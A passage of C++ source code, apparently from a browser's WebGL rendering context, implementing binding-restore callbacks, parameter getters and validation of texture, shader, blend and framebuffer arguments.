WebGLRenderingContextBase::DrawingBufferClientRestoreTexture2DBinding() {\n  if (destruction_in_progress_)\n    return;\n  if (!ContextGL())\n    return;\n  RestoreCurrentTexture2D();\n}\n\nvoid WebGLRenderingContextBase::\n    DrawingBufferClientRestoreRenderbufferBinding() {\n  if (destruction_in_progress_)\n    return;\n  if (!ContextGL())\n    return;\n  ContextGL()->BindRenderbuffer(GL_RENDERBUFFER,\n                                ObjectOrZero(renderbuffer_binding_.Get()));\n}\n\nvoid WebGLRenderingContextBase::DrawingBufferClientRestoreFramebufferBinding() {\n  if (destruction_in_progress_)\n    return;\n  if (!ContextGL())\n    return;\n  RestoreCurrentFramebuffer();\n}\n\nvoid WebGLRenderingContextBase::\n    DrawingBufferClientRestorePixelUnpackBufferBinding() {}\nvoid WebGLRenderingContextBase::\n    DrawingBufferClientRestorePixelPackBufferBinding() {}\n\nbool WebGLRenderingContextBase::\n    DrawingBufferClientUserAllocatedMultisampledRenderbuffers() {\n  return number_of_user_allocated_multisampled_renderbuffers_ > 0;\n}\n\nvoid WebGLRenderingContextBase::\n    DrawingBufferClientForceLostContextWithAutoRecovery() {\n  ForceLostContext(WebGLRenderingContextBase::kSyntheticLostContext,\n                   WebGLRenderingContextBase::kAuto);\n}\n\nScriptValue WebGLRenderingContextBase::GetBooleanParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLboolean value = 0;\n  if (!isContextLost())\n    ContextGL()->GetBooleanv(pname, &value);\n  return WebGLAny(script_state, static_cast<bool>(value));\n}\n\nScriptValue WebGLRenderingContextBase::GetBooleanArrayParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  if (pname != GL_COLOR_WRITEMASK) {\n    NOTIMPLEMENTED();\n    return WebGLAny(script_state, nullptr, 0);\n  }\n  GLboolean value[4] = {0};\n  if (!isContextLost())\n    ContextGL()->GetBooleanv(pname, value);\n  bool bool_value[4];\n  for (int ii = 0; ii < 4; ++ii)\n    bool_value[ii] = static_cast<bool>(value[ii]);\n  return WebGLAny(script_state, bool_value, 4);\n}\n\nScriptValue WebGLRenderingContextBase::GetFloatParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLfloat value = 0;\n  if (!isContextLost())\n    ContextGL()->GetFloatv(pname, &value);\n  return WebGLAny(script_state, value);\n}\n\nScriptValue WebGLRenderingContextBase::GetIntParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLint value = 0;\n  if (!isContextLost()) {\n    ContextGL()->GetIntegerv(pname, &value);\n    switch (pname) {\n      case GL_IMPLEMENTATION_COLOR_READ_FORMAT:\n      case GL_IMPLEMENTATION_COLOR_READ_TYPE:\n        if (value == 0) {\n          // This indicates read framebuffer is incomplete and an\n          // INVALID_OPERATION has been generated.\n          return ScriptValue::CreateNull(script_state->GetIsolate());\n        }\n        break;\n      default:\n        break;\n    }\n  }\n  return WebGLAny(script_state, value);\n}\n\nScriptValue WebGLRenderingContextBase::GetInt64Parameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLint64 value = 0;\n  if (!isContextLost())\n    ContextGL()->GetInteger64v(pname, &value);\n  return WebGLAny(script_state, value);\n}\n\nScriptValue WebGLRenderingContextBase::GetUnsignedIntParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLint value = 0;\n  if (!isContextLost())\n    ContextGL()->GetIntegerv(pname, &value);\n  return WebGLAny(script_state, static_cast<unsigned>(value));\n}\n\nScriptValue WebGLRenderingContextBase::GetWebGLFloatArrayParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLfloat value[4] = {0};\n  if (!isContextLost())\n    ContextGL()->GetFloatv(pname, value);\n  unsigned length = 0;\n  switch (pname) {\n    case GL_ALIASED_POINT_SIZE_RANGE:\n    case GL_ALIASED_LINE_WIDTH_RANGE:\n    case GL_DEPTH_RANGE:\n      length = 2;\n      break;\n    case GL_BLEND_COLOR:\n    case GL_COLOR_CLEAR_VALUE:\n      length = 4;\n      break;\n    default:\n      NOTIMPLEMENTED();\n  }\n  return WebGLAny(script_state, DOMFloat32Array::Create(value, length));\n}\n\nScriptValue WebGLRenderingContextBase::GetWebGLIntArrayParameter(\n    ScriptState* script_state,\n    GLenum pname) {\n  GLint value[4] = {0};\n  if (!isContextLost())\n    ContextGL()->GetIntegerv(pname, value);\n  unsigned length = 0;\n  switch (pname) {\n    case GL_MAX_VIEWPORT_DIMS:\n      length = 2;\n      break;\n    case GL_SCISSOR_BOX:\n    case GL_VIEWPORT:\n      length = 4;\n      break;\n    default:\n      NOTIMPLEMENTED();\n  }\n  return WebGLAny(script_state, DOMInt32Array::Create(value, length));\n}\n\nWebGLTexture* WebGLRenderingContextBase::ValidateTexture2DBinding(\n    const char* function_name,\n    GLenum target) {\n  WebGLTexture* tex = nullptr;\n  switch (target) {\n    case GL_TEXTURE_2D:\n      tex = texture_units_[active_texture_unit_].texture2d_binding_.Get();\n      break;\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_X:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_X:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_Y:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_Y:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_Z:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_Z:\n      tex =\n          texture_units_[active_texture_unit_].texture_cube_map_binding_.Get();\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                        \"invalid texture target\");\n      return nullptr;\n  }\n  if (!tex)\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"no texture bound to target\");\n  return tex;\n}\n\nWebGLTexture* WebGLRenderingContextBase::ValidateTextureBinding(\n    const char* function_name,\n    GLenum target) {\n  WebGLTexture* tex = nullptr;\n  switch (target) {\n    case GL_TEXTURE_2D:\n      tex = texture_units_[active_texture_unit_].texture2d_binding_.Get();\n      break;\n    case GL_TEXTURE_CUBE_MAP:\n      tex =\n          texture_units_[active_texture_unit_].texture_cube_map_binding_.Get();\n      break;\n    case GL_TEXTURE_3D:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                          \"invalid texture target\");\n        return nullptr;\n      }\n      tex = texture_units_[active_texture_unit_].texture3d_binding_.Get();\n      break;\n    case GL_TEXTURE_2D_ARRAY:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                          \"invalid texture target\");\n        return nullptr;\n      }\n      tex = texture_units_[active_texture_unit_].texture2d_array_binding_.Get();\n      break;\n    case GL_TEXTURE_VIDEO_IMAGE_WEBGL:\n      if (!ExtensionEnabled(kWebGLVideoTextureName)) {\n        SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                          \"invalid texture target\");\n        return nullptr;\n      }\n      tex = texture_units_[active_texture_unit_]\n                .texture_video_image_binding_.Get();\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                        \"invalid texture target\");\n      return nullptr;\n  }\n  if (!tex)\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"no texture bound to target\");\n  return tex;\n}\n\nbool WebGLRenderingContextBase::ValidateLocationLength(\n    const char* function_name,\n    const String& string) {\n  const unsigned max_web_gl_location_length = GetMaxWebGLLocationLength();\n  if (string.length() > max_web_gl_location_length) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"location length > 256\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateSize(const char* function_name,\n                                             GLint x,\n                                             GLint y,\n                                             GLint z) {\n  if (x < 0 || y < 0 || z < 0) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"size < 0\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateCharacter(unsigned char c) {\n  // Printing characters are valid except \" $ ` @ \\ ' DEL.\n  if (c >= 32 && c <= 126 && c != '\"' && c != '$' && c != '`' && c != '@' &&\n      c != '\\\\' && c != '\\'')\n    return true;\n  // Horizontal tab, line feed, vertical tab, form feed, carriage return\n  // are also valid.\n  if (c >= 9 && c <= 13)\n    return true;\n  return false;\n}\n\nbool WebGLRenderingContextBase::ValidateString(const char* function_name,\n                                               const String& string) {\n  for (wtf_size_t i = 0; i < string.length(); ++i) {\n    if (!ValidateCharacter(string[i])) {\n      SynthesizeGLError(GL_INVALID_VALUE, function_name, \"string not ASCII\");\n      return false;\n    }\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::IsPrefixReserved(const String& name) {\n  if (name.StartsWith(\"gl_\") || name.StartsWith(\"webgl_\") ||\n      name.StartsWith(\"_webgl_\"))\n    return true;\n  return false;\n}\n\nbool WebGLRenderingContextBase::ValidateShaderSource(const String& string) {\n  for (wtf_size_t i = 0; i < string.length(); ++i) {\n    // line-continuation character \\ is supported in WebGL 2.0.\n    if (IsWebGL2OrHigher() && string[i] == '\\\\') {\n      continue;\n    }\n    if (!ValidateCharacter(string[i])) {\n      SynthesizeGLError(GL_INVALID_VALUE, \"shaderSource\", \"string not ASCII\");\n      return false;\n    }\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateShaderType(const char* function_name,\n                                                   GLenum shader_type) {\n  switch (shader_type) {\n    case GL_VERTEX_SHADER:\n    case GL_FRAGMENT_SHADER:\n      return true;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid shader type\");\n      return false;\n  }\n}\n\nvoid WebGLRenderingContextBase::AddExtensionSupportedFormatsTypes() {\n  if (!is_oes_texture_float_formats_types_added_ &&\n      ExtensionEnabled(kOESTextureFloatName)) {\n    ADD_VALUES_TO_SET(supported_types_, kSupportedTypesOESTexFloat);\n    ADD_VALUES_TO_SET(supported_tex_image_source_types_,\n                      kSupportedTypesOESTexFloat);\n    is_oes_texture_float_formats_types_added_ = true;\n  }\n\n  if (!is_oes_texture_half_float_formats_types_added_ &&\n      ExtensionEnabled(kOESTextureHalfFloatName)) {\n    ADD_VALUES_TO_SET(supported_types_, kSupportedTypesOESTexHalfFloat);\n    ADD_VALUES_TO_SET(supported_tex_image_source_types_,\n                      kSupportedTypesOESTexHalfFloat);\n    is_oes_texture_half_float_formats_types_added_ = true;\n  }\n\n  if (!is_web_gl_depth_texture_formats_types_added_ &&\n      ExtensionEnabled(kWebGLDepthTextureName)) {\n    ADD_VALUES_TO_SET(supported_internal_formats_,\n                      kSupportedInternalFormatsOESDepthTex);\n    ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_,\n                      kSupportedInternalFormatsOESDepthTex);\n    ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsOESDepthTex);\n    ADD_VALUES_TO_SET(supported_tex_image_source_formats_,\n                      kSupportedFormatsOESDepthTex);\n    ADD_VALUES_TO_SET(supported_types_, kSupportedTypesOESDepthTex);\n    ADD_VALUES_TO_SET(supported_tex_image_source_types_,\n                      kSupportedTypesOESDepthTex);\n    is_web_gl_depth_texture_formats_types_added_ = true;\n  }\n\n  if (!is_ext_srgb_formats_types_added_ && ExtensionEnabled(kEXTsRGBName)) {\n    ADD_VALUES_TO_SET(supported_internal_formats_,\n                      kSupportedInternalFormatsEXTsRGB);\n    ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_,\n                      kSupportedInternalFormatsEXTsRGB);\n    ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsEXTsRGB);\n    ADD_VALUES_TO_SET(supported_tex_image_source_formats_,\n                      kSupportedFormatsEXTsRGB);\n    is_ext_srgb_formats_types_added_ = true;\n  }\n}\n\nvoid WebGLRenderingContextBase::AddExtensionSupportedFormatsTypesWebGL2() {\n  if (!is_ext_texture_norm16_added_ &&\n      ExtensionEnabled(kEXTTextureNorm16Name)) {\n    ADD_VALUES_TO_SET(supported_internal_formats_,\n                      kSupportedInternalFormatsEXTTextureNorm16ES3);\n    ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_,\n                      kSupportedInternalFormatsEXTTextureNorm16ES3);\n    ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsEXTTextureNorm16ES3);\n    ADD_VALUES_TO_SET(supported_types_, kSupportedTypesEXTTextureNorm16ES3);\n    is_ext_texture_norm16_added_ = true;\n  }\n}\n\nbool WebGLRenderingContextBase::ValidateTexImageSourceFormatAndType(\n    const char* function_name,\n    TexImageFunctionType function_type,\n    GLenum internalformat,\n    GLenum format,\n    GLenum type) {\n  if (!is_web_gl2_tex_image_source_formats_types_added_ && IsWebGL2OrHigher()) {\n    ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_,\n                      kSupportedInternalFormatsTexImageSourceES3);\n    ADD_VALUES_TO_SET(supported_tex_image_source_formats_,\n                      kSupportedFormatsTexImageSourceES3);\n    ADD_VALUES_TO_SET(supported_tex_image_source_types_,\n                      kSupportedTypesTexImageSourceES3);\n    is_web_gl2_tex_image_source_formats_types_added_ = true;\n  }\n\n  if (!IsWebGL2OrHigher()) {\n    AddExtensionSupportedFormatsTypes();\n  } else {\n    AddExtensionSupportedFormatsTypesWebGL2();\n  }\n\n  if (internalformat != 0 &&\n      supported_tex_image_source_internal_formats_.find(internalformat) ==\n          supported_tex_image_source_internal_formats_.end()) {\n    if (function_type == kTexImage) {\n      SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                        \"invalid internalformat\");\n    } else {\n      SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                        \"invalid internalformat\");\n    }\n    return false;\n  }\n  if (supported_tex_image_source_formats_.find(format) ==\n      supported_tex_image_source_formats_.end()) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid format\");\n    return false;\n  }\n  if (supported_tex_image_source_types_.find(type) ==\n      supported_tex_image_source_types_.end()) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid type\");\n    return false;\n  }\n\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateTexFuncFormatAndType(\n    const char* function_name,\n    TexImageFunctionType function_type,\n    GLenum internalformat,\n    GLenum format,\n    GLenum type,\n    GLint level) {\n  if (!is_web_gl2_formats_types_added_ && IsWebGL2OrHigher()) {\n    ADD_VALUES_TO_SET(supported_internal_formats_,\n                      kSupportedInternalFormatsES3);\n    ADD_VALUES_TO_SET(supported_internal_formats_,\n                      kSupportedInternalFormatsTexImageES3);\n    ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsES3);\n    ADD_VALUES_TO_SET(supported_types_, kSupportedTypesES3);\n    is_web_gl2_formats_types_added_ = true;\n  }\n\n  if (!IsWebGL2OrHigher()) {\n    AddExtensionSupportedFormatsTypes();\n  } else {\n    AddExtensionSupportedFormatsTypesWebGL2();\n  }\n\n  if (internalformat != 0 && supported_internal_formats_.find(internalformat) ==\n                                 supported_internal_formats_.end()) {\n    if (function_type == kTexImage) {\n      SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                        \"invalid internalformat\");\n    } else {\n      SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                        \"invalid internalformat\");\n    }\n    return false;\n  }\n  if (supported_formats_.find(format) == supported_formats_.end()) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid format\");\n    return false;\n  }\n  if (supported_types_.find(type) == supported_types_.end()) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid type\");\n    return false;\n  }\n\n  if (format == GL_DEPTH_COMPONENT && level > 0 && !IsWebGL2OrHigher()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"level must be 0 for DEPTH_COMPONENT format\");\n    return false;\n  }\n  if (format == GL_DEPTH_STENCIL_OES && level > 0 && !IsWebGL2OrHigher()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"level must be 0 for DEPTH_STENCIL format\");\n    return false;\n  }\n\n  return true;\n}\n\nGLint WebGLRenderingContextBase::GetMaxTextureLevelForTarget(GLenum target) {\n  switch (target) {\n    case GL_TEXTURE_2D:\n      return max_texture_level_;\n    case GL_TEXTURE_CUBE_MAP:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_X:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_X:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_Y:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_Y:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_Z:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_Z:\n      return max_cube_map_texture_level_;\n    case GL_TEXTURE_VIDEO_IMAGE_WEBGL:\n      return 1;\n  }\n  return 0;\n}\n\nbool WebGLRenderingContextBase::ValidateTexFuncLevel(const char* function_name,\n                                                     GLenum target,\n                                                     GLint level) {\n  if (level < 0) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"level < 0\");\n    return false;\n  }\n  GLint max_level = GetMaxTextureLevelForTarget(target);\n  if (max_level && level >= max_level) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"level out of range\");\n    return false;\n  }\n  // This function only checks if level is legal, so we return true and don't\n  // generate INVALID_ENUM if target is illegal.\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateTexFuncDimensions(\n    const char* function_name,\n    TexImageFunctionType function_type,\n    GLenum target,\n    GLint level,\n    GLsizei width,\n    GLsizei height,\n    GLsizei depth) {\n  if (width < 0 || height < 0 || depth < 0) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                      \"width, height or depth < 0\");\n    return false;\n  }\n\n  switch (target) {\n    case GL_TEXTURE_2D:\n    case GL_TEXTURE_VIDEO_IMAGE_WEBGL:\n      if (width > (max_texture_size_ >> level) ||\n          height > (max_texture_size_ >> level)) {\n        SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                          \"width or height out of range\");\n        return false;\n      }\n      break;\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_X:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_X:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_Y:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_Y:\n    case GL_TEXTURE_CUBE_MAP_POSITIVE_Z:\n    case GL_TEXTURE_CUBE_MAP_NEGATIVE_Z:\n      if (function_type != kTexSubImage && width != height) {\n        SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                          \"width != height for cube map\");\n        return false;\n      }\n      // No need to check height here. For texImage width == height.\n      // For texSubImage that will be checked when checking yoffset + height is\n      // in range.\n      if (width > (max_cube_map_texture_size_ >> level)) {\n        SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                          \"width or height out of range for cube map\");\n        return false;\n      }\n      break;\n    case GL_TEXTURE_3D:\n      if (IsWebGL2OrHigher()) {\n        if (width > (max3d_texture_size_ >> level) ||\n            height > (max3d_texture_size_ >> level) ||\n            depth > (max3d_texture_size_ >> level)) {\n          SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                            \"width, height or depth out of range\");\n          return false;\n        }\n        break;\n      }\n      FALLTHROUGH;\n    case GL_TEXTURE_2D_ARRAY:\n      if (IsWebGL2OrHigher()) {\n        if (width > (max_texture_size_ >> level) ||\n            height > (max_texture_size_ >> level) ||\n            depth > max_array_texture_layers_) {\n          SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                            \"width, height or depth out of range\");\n          return false;\n        }\n        break;\n      }\n      FALLTHROUGH;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid target\");\n      return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateTexFuncParameters(\n    const char* function_name,\n    TexImageFunctionType function_type,\n    TexFuncValidationSourceType source_type,\n    GLenum target,\n    GLint level,\n    GLenum internalformat,\n    GLsizei width,\n    GLsizei height,\n    GLsizei depth,\n    GLint border,\n    GLenum format,\n    GLenum type) {\n  // We absolutely have to validate the format and type combination.\n  // The texImage2D entry points taking HTMLImage, etc. will produce\n  // temporary data based on this combination, so it must be legal.\n  if (source_type == kSourceHTMLImageElement ||\n      source_type == kSourceHTMLCanvasElement ||\n      source_type == kSourceHTMLVideoElement ||\n      source_type == kSourceImageData || source_type == kSourceImageBitmap) {\n    if (!ValidateTexImageSourceFormatAndType(function_name, function_type,\n                                             internalformat, format, type)) {\n      return false;\n    }\n  } else {\n    if (!ValidateTexFuncFormatAndType(function_name, function_type,\n                                      internalformat, format, type, level)) {\n      return false;\n    }\n  }\n\n  if (!ValidateTexFuncDimensions(function_name, function_type, target, level,\n                                 width, height, depth))\n    return false;\n\n  if (border) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"border != 0\");\n    return false;\n  }\n\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateTexFuncData(\n    const char* function_name,\n    TexImageDimension tex_dimension,\n    GLint level,\n    GLsizei width,\n    GLsizei height,\n    GLsizei depth,\n    GLenum format,\n    GLenum type,\n    DOMArrayBufferView* pixels,\n    NullDisposition disposition,\n    GLuint src_offset) {\n  // All calling functions check isContextLost, so a duplicate check is not\n  // needed here.\n  if (!pixels) {\n    DCHECK_NE(disposition, kNullNotReachable);\n    if (disposition == kNullAllowed)\n      return true;\n    SynthesizeGLError(GL_INVALID_VALUE, function_name, \"no pixels\");\n    return false;\n  }\n\n  if (!ValidateSettableTexFormat(function_name, format))\n    return false;\n\n  auto pixelType = pixels->GetType();\n\n  switch (type) {\n    case GL_BYTE:\n      if (pixelType != DOMArrayBufferView::kTypeInt8) {\n        SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                          \"type BYTE but ArrayBufferView not Int8Array\");\n        return false;\n      }\n      break;\n    case GL_UNSIGNED_BYTE:\n      if (pixelType != DOMArrayBufferView::kTypeUint8 &&\n          pixelType != DOMArrayBufferView::kTypeUint8Clamped) {\n        SynthesizeGLError(\n            GL_INVALID_OPERATION, function_name,\n            \"type UNSIGNED_BYTE but ArrayBufferView not Uint8Array or \"\n            \"Uint8ClampedArray\");\n        return false;\n      }\n      break;\n    case GL_SHORT:\n      if (pixelType != DOMArrayBufferView::kTypeInt16) {\n        SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                          \"type SHORT but ArrayBufferView not Int16Array\");\n        return false;\n      }\n      break;\n    case GL_UNSIGNED_SHORT:\n    case GL_UNSIGNED_SHORT_5_6_5:\n    case GL_UNSIGNED_SHORT_4_4_4_4:\n    case GL_UNSIGNED_SHORT_5_5_5_1:\n      if (pixelType != DOMArrayBufferView::kTypeUint16) {\n        SynthesizeGLError(\n            GL_INVALID_OPERATION, function_name,\n            \"type UNSIGNED_SHORT but ArrayBufferView not Uint16Array\");\n        return false;\n      }\n      break;\n    case GL_INT:\n      if (pixelType != DOMArrayBufferView::kTypeInt32) {\n        SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                          \"type INT but ArrayBufferView not Int32Array\");\n        return false;\n      }\n      break;\n    case GL_UNSIGNED_INT:\n    case GL_UNSIGNED_INT_2_10_10_10_REV:\n    case GL_UNSIGNED_INT_10F_11F_11F_REV:\n    case GL_UNSIGNED_INT_5_9_9_9_REV:\n    case GL_UNSIGNED_INT_24_8:\n      if (pixelType != DOMArrayBufferView::kTypeUint32) {\n        SynthesizeGLError(\n            GL_INVALID_OPERATION, function_name,\n            \"type UNSIGNED_INT but ArrayBufferView not Uint32Array\");\n        return false;\n      }\n      break;\n    case GL_FLOAT:  // OES_texture_float\n      if (pixelType != DOMArrayBufferView::kTypeFloat32) {\n        SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                          \"type FLOAT but ArrayBufferView not Float32Array\");\n        return false;\n      }\n      break;\n    case GL_HALF_FLOAT:\n    case GL_HALF_FLOAT_OES:  // OES_texture_half_float\n      // As per the specification, ArrayBufferView should be null or a\n      // Uint16Array when OES_texture_half_float is enabled.\n      if (pixelType != DOMArrayBufferView::kTypeUint16) {\n        SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                          \"type HALF_FLOAT_OES but ArrayBufferView is not NULL \"\n                          \"and not Uint16Array\");\n        return false;\n      }\n      break;\n    case GL_FLOAT_32_UNSIGNED_INT_24_8_REV:\n      SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                        \"type FLOAT_32_UNSIGNED_INT_24_8_REV but \"\n                        \"ArrayBufferView is not NULL\");\n      return false;\n    default:\n      NOTREACHED();\n  }\n\n  unsigned total_bytes_required, skip_bytes;\n  GLenum error = WebGLImageConversion::ComputeImageSizeInBytes(\n      format, type, width, height, depth,\n      GetUnpackPixelStoreParams(tex_dimension), &total_bytes_required, nullptr,\n      &skip_bytes);\n  if (error != GL_NO_ERROR) {\n    SynthesizeGLError(error, function_name, \"invalid texture dimensions\");\n    return false;\n  }\n  base::CheckedNumeric<uint32_t> total = src_offset;\n  total *= pixels->TypeSize();\n  total += total_bytes_required;\n  total += skip_bytes;\n  if (!total.IsValid() ||\n      pixels->byteLengthAsSizeT() < static_cast<size_t>(total.ValueOrDie())) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"ArrayBufferView not big enough for request\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateCompressedTexFormat(\n    const char* function_name,\n    GLenum format) {\n  if (!compressed_texture_formats_.Contains(format)) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid format\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateStencilOrDepthFunc(\n    const char* function_name,\n    GLenum func) {\n  switch (func) {\n    case GL_NEVER:\n    case GL_LESS:\n    case GL_LEQUAL:\n    case GL_GREATER:\n    case GL_GEQUAL:\n    case GL_EQUAL:\n    case GL_NOTEQUAL:\n    case GL_ALWAYS:\n      return true;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid function\");\n      return false;\n  }\n}\n\nvoid WebGLRenderingContextBase::PrintGLErrorToConsole(const String& message) {\n  if (!num_gl_errors_to_console_allowed_)\n    return;\n\n  --num_gl_errors_to_console_allowed_;\n  PrintWarningToConsole(message);\n\n  if (!num_gl_errors_to_console_allowed_)\n    PrintWarningToConsole(\n        \"WebGL: too many errors, no more errors will be reported to the \"\n        \"console for this context.\");\n\n  return;\n}\n\nvoid WebGLRenderingContextBase::PrintWarningToConsole(const String& message) {\n  blink::ExecutionContext* context = Host()->GetTopExecutionContext();\n  if (context) {\n    context->AddConsoleMessage(MakeGarbageCollected<ConsoleMessage>(\n        mojom::ConsoleMessageSource::kRendering,\n        mojom::ConsoleMessageLevel::kWarning, message));\n  }\n}\n\nbool WebGLRenderingContextBase::ValidateFramebufferFuncParameters(\n    const char* function_name,\n    GLenum target,\n    GLenum attachment) {\n  if (!ValidateFramebufferTarget(target)) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid target\");\n    return false;\n  }\n  switch (attachment) {\n    case GL_COLOR_ATTACHMENT0:\n    case GL_DEPTH_ATTACHMENT:\n    case GL_STENCIL_ATTACHMENT:\n    case GL_DEPTH_STENCIL_ATTACHMENT:\n      break;\n    default:\n      if ((ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()) &&\n          attachment > GL_COLOR_ATTACHMENT0 &&\n          attachment <\n              static_cast<GLenum>(GL_COLOR_ATTACHMENT0 + MaxColorAttachments()))\n        break;\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid attachment\");\n      return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateBlendEquation(const char* function_name,\n                                                      GLenum mode) {\n  switch (mode) {\n    case GL_FUNC_ADD:\n    case GL_FUNC_SUBTRACT:\n    case GL_FUNC_REVERSE_SUBTRACT:\n      return true;\n    case GL_MIN_EXT:\n    case GL_MAX_EXT:\n      if (ExtensionEnabled(kEXTBlendMinMaxName) || IsWebGL2OrHigher())\n        return true;\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid mode\");\n      return false;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid mode\");\n      return false;\n  }\n}\n\nbool WebGLRenderingContextBase::ValidateBlendFuncFactors(\n    const char* function_name,\n    GLenum src,\n    GLenum dst) {\n  if (((src == GL_CONSTANT_COLOR || src == GL_ONE_MINUS_CONSTANT_COLOR) &&\n       (dst == GL_CONSTANT_ALPHA || dst == GL_ONE_MINUS_CONSTANT_ALPHA)) ||\n      ((dst == GL_CONSTANT_COLOR || dst == GL_ONE_MINUS_CONSTANT_COLOR) &&\n       (src == GL_CONSTANT_ALPHA || src == GL_ONE_MINUS_CONSTANT_ALPHA))) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"incompatible src and dst\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateCapability(const char* function_name,\n                                                   GLenum cap) {\n  switch (cap) {\n    case GL_BLEND:\n    case GL_CULL_FACE:\n    case GL_DEPTH_TEST:\n    case GL_DITHER:\n    case GL_POLYGON_OFFSET_FILL:\n    case GL_SAMPLE_ALPHA_TO_COVERAGE:\n    case GL_SAMPLE_COVERAGE:\n    case GL_SCISSOR_TEST:\n    case GL_STENCIL_TEST:\n      return true;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid capability\");\n      return false;\n  }\n}\n\nbool WebGLRenderingContextBase::ValidateUniformParameters(\n    const char* function_name,\n    const WebGLUniformLocation* location,\n    void* v,\n    GLsizei size,\n    GLsizei required_min_size,\n    GLuint src_offset,\n    GLuint src_length) {\n  return ValidateUniformMatrixParameters(function_name, location, false, v,\n                                         size, required_min_size, src_offset,\n                                         src_length);\n}\n\nbool WebGLRenderingContextBase::ValidateUniformMatrixParameters(\n    const char* function_name,\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    DOMFloat32Array* v,\n    GLsizei 